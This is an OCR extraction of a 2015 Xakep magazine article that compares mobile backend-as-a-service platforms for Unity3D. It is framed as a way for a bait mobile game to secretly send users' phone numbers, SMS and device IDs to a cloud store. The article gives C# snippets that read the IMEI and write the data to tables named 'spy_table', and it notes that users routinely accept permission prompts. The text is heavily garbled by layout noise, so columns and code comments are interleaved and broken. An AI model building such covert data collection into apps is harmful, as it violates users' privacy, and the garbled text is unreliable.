hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

МОБИЛЬНЫЙБЭКЕНД—ПРОСТОИБЕСПЛАТНО

На базе «низкоуровневых» облачных систем (голые виртуальные серверы или виртуальные файловые хранилища) сегодня активно надстраиваются бэкенды, ориентированные на конкретные нужды прикладных разработчиков. Так называемые backend as a service (BaaS) пользуются особенно активным спросом у мобильных программистов, в связи с чем сегодня фактически стираются различия между BaaS и Mobile BaaS (MBaaS). MBaaS-услуги очень популярны у разработчиков онлайновых игр и в стартаповских проектах, так как экономят огромное количество ресурсов и времени на развертывание

исопровождение серверной инфраструктуры. Подключить к клиентской части облачное хранилище, учетные службы ведения пользователей, социальные сервисы и множество других фич и запустить действующий прототип в эксплуатацию сегодня можно буквально за несколько часов, причем бесплатно.

Чтобы познакомить тебя с базовыми принципами стыковки с MBaaS, я задумал одну небольшую фантазию. На которую меня, кстати, вдохновило Агентство национальной безопасности США, которое скрытно собирало данные через игру Angry Birds, встроив в нее троянец :).

Суть фантазии следующая. Допустим, имеется кроссплатформенная программа на Unity3D/C#, способная работать в Windows, на Android и iOS. Например, это может быть простенькая мобильная игра-завлекалочка. Хакер хочет незаметно для пользователя перегнать его данные в облако

ипотом получить к ним удобный доступ. Какими ресурсами он для этого будет пользоваться?

МЕТОДИКАИСПОЛЬЗОВАНИЯMBAAS

Взаимодействие с любой MBaaS-службой отличается в технических деталях, но обычно развивается по типовой схеме:

1.Регистрируемся в MBaaS-сервисе.

2.Создаем проект или приложение, получаем для него ключи доступа, которые задаем в клиентской программе.

3.На клиентской стороне программируем соединение с сервером.

4.Нередко дополнительно требуется завести условного пользователя, который будет идентифицировать конкретный сеанс связи смартфона с сервисом.

5.Посредством достаточно простого API (обычно объектно ориентированного) передаем данные в облако.

6.Периодически просматриваем консоль MBaaS и анализируем, какие данные за последнее время были слиты.

Ярассмотрю шесть MBaaS-служб, в которых декларируется поддержка Unity3D. BaaS-сервисов схожего назначения на самом деле десятки, и чаще всего обеспечивается взаимодействие с SDK для Android и iOS, но мы специально не будем привязываться к конкретной платформе, чтобы за деталями реализации не потерять суть.

ЧТОИКАКБУДЕТСЛИТО?

Полезными в простейшем случае окажутся телефонные номера в списке контактов и тексты эсэмэсок; в более продвинутых случаях можно, получив рут, качать данные поинтересней, в том числе и GPS. В рамках даже кросс-платформенного

Unity3D соответствующие функции можно реализовать вполне

Graphic@shutterstock.com

 

комфортно, достаточно добавить несколько десятков строк

 

оригинального кода под каждую из трех основных платформ

 

(Android, iOS, Windows Phone).

 

Например, так:

 

#if UNITY_ANDROID

 

 

AndroidJavaObject TM = new AndroidJavaObject

 

 

("android.telephony.TelephonyManager");

 

 

string IMEI = TM.Call<string>("getDeviceId");

 

My Life

или даже проще:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

MBaaS для мобильного хакера

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

87Click

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

string IMEI = SystemInfo.deviceUniqueIdentifier;

 

(delegate(ActionUserSignin action) {

 

 

 

if(action.getCode() == StatusCodes.SUCCESS) {

Надо только не забыть включить в настройках проекта раз-

 

//

ливае

данн е на е ве

 

решение READ_PHONE_STATE, все равно пользователи прак-

 

// ...

 

 

 

тически всегда принимают эти запросы по умолчанию.

 

} });

 

 

 

ВЫБИРАЕМЛУЧШИЕИЗХУДШИХ

WARNING

Главный минус сервиса Kumakore для наших целей в том,

Моя оценка MBaaS-систем, конечно, довольно субъективна,

Если ты хочешь,

что данные необходимо грузить в объекты хранения, при-

я учитывал прежде всего порог вхождения в соответствующий

вязанные к конкретному пользователю. Вроде бы в сервисе

сервис: как быстро можно запустить работающий тестовый

чтобы тебе звонили

присутствует и некий Global Object, однако примеров рабо-

пример, сколь удобна документация, каковы возможности

не суровые лейтенанты

ты с ним найти не удалось. В рамках текущего коннекта app

в целом.

из управления «К»,

надо получить текущего пользователя getUser(), из него вы-

GameSparks.com

а Марк Цукерберг

тащить внутреннее хранилище getDatastore() и потом уже

или Маркус Перссон,

внутри создать нужный объект в формате коллекции ключ —

Гордо называющий себя The #1 Backend-as-a-Service platform

Виктор Кислый или Илья

значение:

 

 

 

for games, этот сервис заслужил твердый неуд и получил пер-

Сухарь, сделай лучше

//

а и данн е

 

вое место с конца. Регистрация занимает минуту, пустая игра

что-нибудь позитивное.

 

тоже мгновенно создается, а сам SDK в формате unitypackage

Это может быть ММО про

Dictionary<string,object> data = new

устанавливается без проблем.

Матрицу, хороший

Dictionary<string, object>();

 

Первый звоночек прозвучал при копировании игровых клю-

мобильный мессенджер

data.Add("phone_num", "123-45-67");

чей: в консоли под API Key и API Secret отведено столь мало

для общения хакеров

//

ловн е

ол з. иден и и а о

о е а

места (а автоматически они не выделяются), что в результате

или плагины для веду-

string type = "phone";

 

очень легко ошибочно скопировать часть ключа без его неви-

щих MBaaS-служб, благо

string name = "lox";

 

димого хвоста. Сами ключи задаем в сцене Unity3D в настрой-

они позволяют создать

ActionDatastoreCreate action2 = app.getUser()

ках меню GameSparks.

действующий прототип

.getDatastore().create(type, name, data);

Сервис поддерживает множество платформ: iOS, Android,

многопользовательской

action2.sync(delegate(ActionDatastoreCreate a) {

JavaScript, Marmalade, Cocos2d, Flash и другие. Для Unity3D

системы в считаные

if(a.getCode() == StatusCodes.SUCCESS) {

предлагается две версии SDK, однако последнюю, третью, во-

недели.

//

е но!

 

обще не рекомендую: пока очень сырая, много багов, не вы-

 

} });

 

 

 

полняется аутентификация по стандартной инструкции, хотя

 

 

 

 

 

 

на разбирательство я потратил не один час. А вот предыду-

 

К минусам также надо отнести местами устаревшую до-

щая версия Unity SDK 2 подключилась к серверу GameSparks

 

кументацию (форматы вызовов многих функций изменены)

без проблем, однако поразило практически полное отсутствие

 

и отсутствие хороших примеров, а также слабую поддержку

внятной документации и общая корявость. Странный пример

 

серверной логики, но в целом этот сервис минимально удов-

с акцентом на подключении к фейсбуку с использованием

 

летворителен. Правда, и бесплатный тариф очень минимали-

платной библиотеки NGUI добил окончательно. Увы, но даже

 

стичен: 500 Мб хранилища и в сумме миллион запросов API

такие соблазнительные вещи, как NoSQL, прямая интеграция

 

и push-уведомлений в месяц.

 

с соцсетями, да и вообще в целом весьма обширная функцио-

 

Kii.com

 

 

 

нальность, не пересилили потенциально необходимого расхо-

 

 

 

 

да времени на погружение в доки.

 

Еще один довольно неуклюжий сервис, на этот раз из Японии.

Форумы GameSparks тоже не радуют: на вопросы пользо-

 

Преимущество его перед предыдущим — наличие какого-ни-

вателей обещания саппорта «мы рассмотрим ваши пожела-

 

какого автономного объектного хранилища. Быстро регистри-

ния» висят месяцами. Вообще рекомендую обращать внима-

 

руемся, создаем в консоли приложение, выбираем место-

ние на этот момент, потому что рынок MBaaS-сервисов весьма

 

нахождение сервера (от этого выбора будет зависеть время

нестабильный.

 

отклика облачной службы), получаем два ключа.

Вместе с тем на бесплатном тарифе GameSparks можно

 

Сама настройка SDK и первичного подключения не слиш-

получить 20 Гб облачного пространства, 20 Гб суммарного

 

ком тривиальна, а все взаимодействие с облаком подразуме-

трафика и 20 миллионов вызовов API — эти цифры весьма се-

 

вает регистрацию игрока, что, как отмечалось, не очень удоб-

рьезные и превосходят конкурентов подчас на порядок. Свя-

 

но. В SDK входят три DLL’ки, включая неплохой JSON-парсер.

зано ли это с агрессивной маркетинговой политикой развития

 

Они копируются в каталог Assets нового проекта, после чего

или же с судорожным стремлением удержаться на плаву в ус-

 

надо прикрепить на пустой игровой объект базовый скрипт.

ловиях растущей конкуренции, покажет время.

 

В его настройках вводим Application ID, Application Key и Site

Kumakore.com

 

(последний зависит от географии сервера).

 

Соединение с сервером стартуем через регистрацию но-

Версии SDK предлагаются для Unity, Android, iOS, а так-

 

вого пользователя.

 

же, что важно, доступен универсальный REST API. Приятно,

 

KiiUser user = KiiUser.BuilderWithName

что все SDK выложены на GitHub в исходниках. Процесс на-

 

стройки проекта Unity3D схож с процессом из предыдущего

 

("username").Build ();

 

примера: так же импортируем SDK с unitypackage, в консоли

 

user.Register("password", (KiiUser user2,

создаем приложение и запоминаем ключи. Но на этом все по-

 

Exception e) =>

 

зитивные моменты заканчиваются. Обещанный в документа-

 

{

 

 

 

 

ции пример Hello world в пакете отсутствует. Функция подклю-

 

if (e != null)

 

чения к серверу содержит дополнительный параметр (версия

 

{ //

и

а ав о иза ии

 

приложения), формат которого с ходу отыскать не удается.

 

 

return;

 

 

Для первичного соединения с облаком Kumakore под-

INFO

}

 

 

 

 

ставляем в конструктор, формирующий связь с сервером,

//

е но!

 

 

соответствующие значения ключей из консоли и версию при-

Более подробно

});

 

 

 

 

ложения:

 

 

 

 

 

KumakoreApp app = new KumakoreApp

 

с копированием важных

Теперь можно обращаться к облачному JSON-хранилищу.

данных с телефона

В нем формируются именованные «бакеты» — условные набо-

("b99418973e694ec8ce45a53bf712a79", "0.0", 1415103791);

можно познакомиться,

ры произвольных объектов.

 

 

 

поизучав, например,

KiiBucket bucket = Kii.Bucket("spy_table");

Виртуального пользователя лучше создать в консоли за-

исходники свободного

ранее:

проекта Droid Watcher —

//

о ови

о

е , о о й уде

за и ан в о ла о:

app.signin("kumasun3157","password").sync

 

Android Spy Application

KiiObject kiiObj = bucket.NewKiiObject();

на GitHub.

kiiObj["phone_num"] = "123-45-67";

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

88 m

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

Кодинг

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

kiiObj["money"] = 500;

kiiObj.Save((KiiObject obj, Exception e) =>

{

if (e != null)

{

// еуда но

}

else

{

//е но!

}

});

Серверная логика реализуется с помощью так называемых

 

 

серверных расширений, которые пишутся на JavaScript. Важ-

 

 

но, что вызывать эти скрипты можно как по условиям (по рас-

 

 

писанию или даже вручную, отслеживая процесс из консоли),

 

 

так и напрямую из клиентского кода:

 

 

KiiServerCodeEntry entry = Kii.

 

 

 

ServerCodeEntry("main");

 

 

 

entry.Execute(...);

 

 

 

Пользователю для экспериментов предлагается 1 Гб

 

 

хранилища и по миллиону вызовов API и push-уведомлений

Рис. 1. Данные, слитые

создадим объект базы данных и заполним его произвольно

в месяц.

 

 

в облако Yahoo

названные поля:

ПРИЗЕРЫИПОБЕДИТЕЛЬ

 

DatabaseObject obj_db = new DatabaseObject();

 

 

 

 

obj_db.Set("phone_num", "123-45-67");

3-еместо.Gamesnet.Yahoo.net

 

obj_db.Set("money", 500);

Бывшая PlayerIO.com, приобретенная Yahoo в прошлом

 

 

году, развивалась весьма успешно, набрав за четыре года

 

Добавление объекта в базу столь же прозрачно:

150 миллионов пользователей. Теперь она официально на-

 

client.BigDB.CreateObject("xtable",

зывается Yahoo Games Network, хотя в самой платформе

 

особых изменений не произошло — например, ключевые

 

"user-id", obj_db,

классы именуются по-прежнему PlayerIO. Поддерживаемые

 

delegate (DatabaseObject result)

платформы — Android Java, iOS/Objective-C, Unity3D/.NET,

 

{ result.Save(null); });

ActionScript. Флеш, кстати, до сих пор позиционируется

 

 

как основная клиентская платформа, большинство примеров

 

Нужные нам данные появятся в консоли сервиса Yahoo.

и туториалов сделаны на ActionScript, и это моральное уста-

 

К минусам данного сервиса отнесу минималистичные

ревание, конечно, главный минус данной платформы. А в до-

 

примеры только для флеша, кривоватую и довольно скудную

кументации примеры все еще для Visual Studio 2010.

 

документацию. Впрочем, это все компенсируется простой

После простой регистрации создаем новую игру. В спи-

 

и устойчивой работой сервиса и общей надежностью под

ске сервисов Yahoo имеется облачное NoSQL-хранилище

 

эгидой Yahoo.

BigDB. Сильная сторона Yahoo в возможности прямой с ним

 

Особо хочу отметить отличный акцент на разработке

работы в обход дополнительного регистрирования игро-

 

мультиплеерного серверного кода — разработка может ве-

ков. Из консоли сервиса на вкладке BigDB создадим новую

 

стись в Visual Studio, на сервер грузится обычная DLL’ка,

таблицу для хранения наших объектов (например, xtable).

 

а программисту доступны наглядные услуги сопровождения

Хранилище нереляционное и бессхемное, поэтому задавать

 

девелоперских кластеров. По этой причине, несмотря на об-

жесткую структуру таблицы не требуется, достаточно просто

 

щую аскетичность, данный сервис уверенно выходит на тре-

указать ее имя.

 

тье место.

SDK для Unity3D представляет собой пустую заготовку

 

2-еместо.Api.Shephertz.com(App42)

проекта, за всю облачную функциональность отвечает DLL’ка

 

PlayerIOUnity3DClient.dll.

Рис. 2. Данные, слитые

Данный сервис попал на второе место в какой-то степе-

Соединение с сервером выполняется простым кодом

в облако App42

ни по блату: я с ним хорошо знаком, пользуюсь им активно

PlayerIOClient.PlayerIO.Connect(

 

 

 

"test-emwr9sy8ohefq9ce7mbsb7",

 

 

 

"public",

 

 

 

"user-id",

 

 

null,

 

 

 

 

null,

 

 

 

 

null,

 

 

 

 

delegate(Client client) {

 

 

 

//

оединение у ановлено

 

 

},

 

 

 

 

delegate(PlayerIOError error) {

 

 

 

//

и а

 

 

 

Debug.Log(error.Message);

});

Фактически достаточно указать единственный идентификатор Game ID и любой произвольный идентификатор текущего пользователя (в нашем случае — "user-id").

После настройки соединения можно сразу слить нужную информацию о телефоне пользователя в облако. Для этого

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

MBaaS для мобильного хакера

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w89Click

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

и очень доволен. Особо хочу отметить саппорт: уже после первых экспериментов мне назначили менеджера из Индии, с которым мы успешно переписываемся.

App42 Cloud API развивается весьма стабильно, и список услуг постоянно расширяется. Сейчас доступны два десятка клиентских технологий: от типовых (хранилище, уведомления, почта, соцсети, ачивки, топы, серверный код, аналитика) до довольно оригинальных (поддержка геоданных, альбомы фотографий, логи вызовов, э-коммерция, асинхронные очереди сообщений, офлайновые режимы и прочее).

При регистрации получаем игровые ключи и начинаем настраивать соединение. К небольшим минусам App42 надо отнести отсутствие готового JSON-парсера в стандартном SDK, поэтому я взял опенсорсный

SimpleJSON. Еще одна странность данной платформы —

Рис. 3. Данные, слитые

ParseObject testObject = new

обработка негативных ответов сервера через прерывания,

в облако Parse

ParseObject("TestObject");

хотя по-взрослому это принято реализовывать с помощью

 

testObject["phone"] = "123-45-67";

делегатов.

 

 

 

 

 

testObject["money"] = 500;

ServiceAPI cloudAPI;

 

 

 

 

 

testObject.SaveAsync();

 

 

 

 

 

 

StorageService storageService;

 

 

 

TestObject — это название облачной таблички, которая соз-

try

 

 

 

 

 

 

дается в разделе Data консоли Parse парой щелчков мыши.

{

 

 

 

 

 

 

Не удержусь и приведу элегантный код считывания данных

//

оедин е

е ве о :

 

 

 

из облака Parse:

cloudAPI = new ServiceAPI

 

 

 

 

 

("27bba692c71f3ece89767", "05747459e61b39");

 

 

ParseQuery<ParseObject> query = ParseObject.

//

анавливае

в з

о ла н

анили е :

 

 

GetQuery("TestObject");

storageService = cloudAPI.BuildStorageService();

 

query.GetAsync("v3unymsLIv").ContinueWith(t =>

}

 

 

 

 

{

catch(Exception)

 

 

ParseObject testObj = t.Result;

{ //

еуда но

 

 

Debug.Log(testObj["phone"]);

storageService = null;

 

});

}

 

 

 

 

 

 

 

 

 

 

В качестве параметра GetAsync() выступает внутренний

Записываем данные в облако:

 

идентификатор нужного объекта (objectId), доступный в кон-

try {

 

 

 

 

соли.

 

 

 

 

Серверная логика прозрачно кодируется на JavaScript,

JSONClass jsonobj = new JSONClass();

 

 

а соответствующий код можно привязывать к различным со-

jsonobj.Add("phone_num", "123-45-67");

 

 

бытиям или запускать в фоне. Приятно, что даже бесплатный

jsonobj.Add("money", 500);

 

 

тариф Parse.com весьма щедр: по 20 Гб облачного простран-

//

о

ан е о е в о ла ной а ли е spy_table

 

 

ства на свои объекты и на файлы, 2 Тб трафика, 30 обращений

 

 

л о spy_info:

 

 

к API в секунду (2,67 милииона вызовов в месяц) и одна фоно-

storageService.InsertJSONDocument

 

 

вая серверная задача.

("spy_table","spy_info", jsonobj);

 

 

 

//

 

е но!

 

ВНЕКОНКУРСА

}

 

 

 

 

Отмечу несколько других неплохих сервисов. Это, напри-

catch(App42Exception )

 

мер, отечественная разработка QuickBlox, предлагающая пак

{

 

 

 

 

для Unity3D, где акцент сделан на загрузке-выгрузке файлов

//

еу

е но

 

и взаимодействии с хранилищем Amazon S3. Минус в том,

}

 

 

 

 

что для доступа к хранилищу Asset bundles потребуется Pro-

 

 

 

 

 

версия Unity.

Серверный код пишется на Java.

 

Есть платформы, в которых отсутствует прямая поддерж-

Сервис предлагает бесплатно миллион вызовов API в ме-

 

ка облачного хранилища через Unity3D, но нередко имеется

сяц, миллион push-уведомлений, 1 Гб облачного хранилища

 

возможность обращения к нему через универсальный REST

и 1 Гб суммарного трафика

 

API. Это, конечно, и Google Cloud, и Amazon со свежим Cognito

1-еместо.Parse.com

 

для iOS, Android и собственной ОС Fire.

WWW

Отдельно надо выделить очень популярную в gamedev-

Этот сервис — однозначный победитель нашего рейтинга,

тусовке службу Photon (exitgames.com), которая предостав-

и совсем не потому, что его создатель — москвич Илья Сухарь.

Неплохие MBaaS-

ляет мощный и отлично масштабирующийся облачный бэкенд

Он основал этот стартап в 2011 году, и уже спустя два года ему

Photon Cloud для мобильных, веб- и PC-платформ. Фотон

позвонил Цукерберг, предложив за сервис Parse 85 миллионов

сервисы:

ориентирован на создание многопользовательских 3D-игр

долларов, на что Илья согласился. И это при том, что предло-

appcelerator.com

и облачное хранилище данных не предлагает, но всегда есть

жения ему делали также Dropbox, Google и Yahoo!

возможность заказать дедик и настраивать его под свои про-

В Parse.com все реализовано очень просто и элегантно.

(iOS, Android, Titanium,

двинутые нужды. Пользователям предоставляется высокоу-

Регистрируемся, создаем пустое приложение в консоли Parse,

REST API);

ровневая мультиплеерная среда, где не нужно самостоятельно

в разделе Keys копируем нужные ключи. Скачиваем пустую за-

kumulos.com

заботиться о синхронизации игрового мира в реальном вре-

готовку проекта Unity3D, в котором за все функции платформы

мени или в пошаговом режиме между всеми пользователями.

отвечает Parse.Unity.dll. Открываем сцену, в настройках объек-

(iOS, Android);

Минус Фотона для хакера в том, что эта абстрактность подраз-

та Parse Initializer задаем ключи Application ID и .NET Key.

kinvey.com

умевает использование скрытых методов передачи данных,

В коде достаточно ввести единичные операторы, чтобы

близких к стеганографии. Ну или можно быстро прикрутить

выполнить нужную функцию по сохранению данных в облаке

(iOS, Android, HTML5,

обычный чат — это столь востребованная услуга в списке воз-

Parse:

 

 

 

REST API)

можностей Photon, что даже позиционируется особняком.

Соседние файлы в папке журнал хакер